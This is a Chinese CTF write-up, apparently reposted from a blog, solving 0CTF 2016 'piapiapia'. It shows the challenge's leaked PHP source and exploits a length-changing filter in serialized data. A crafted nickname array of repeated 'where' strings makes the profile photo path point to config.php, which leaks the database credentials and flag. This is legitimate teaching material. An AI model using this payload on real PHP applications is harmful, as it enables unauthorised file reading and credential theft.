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php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

时间:2020-06-30 12:26     来源/作者:Sea_Sand息禅

一个很可爱的登录界面:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描,发现源码泄露www.zip,把源码给出:

index.php

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<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
 
        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;  
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

在输入账号密码之后进入了profile.php,下面是profile.php的源码:

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<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

还有注册页面的源码(没有太大用),register.php:

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<?php
    require_once('class.php');
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';      
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

然后是update.php:

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<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
 
        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
 
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
 
        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
 
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);
 
        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

核心的处理代码,class.php:

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<?php
require('config.php');
 
class user extends mysql{
    private $table = 'users';
 
    public function is_exists($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}
 
class mysql {
    private $link = null;
 
    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'],
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");
 
        return $this->link;
    }
 
    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }
 
    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\'';
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }
 
    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }
 
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

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<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

看来flag就是在config.php中了,要想办法拿到config.php的内容了。

然后就是代码审计了。

seay代码审计系统也可以给点线索的:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

这个地方貌似有个文件读取的地方,在profile.php中:

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else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。

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$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:

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Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。

从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。

在设置了$profile之后,用update_profile()函数进行处理:

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public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

进行了过滤:

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public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:

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if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
数组即可绕过:
nickname[]=
 
那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?

数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:

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nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
 
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。

下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

然后进入到profile中查看图片信息,把base64码解码:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解码得到:

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<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

总结

以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!

原文链接:https://blog.csdn.net/zz_Caleb/article/details/96777110

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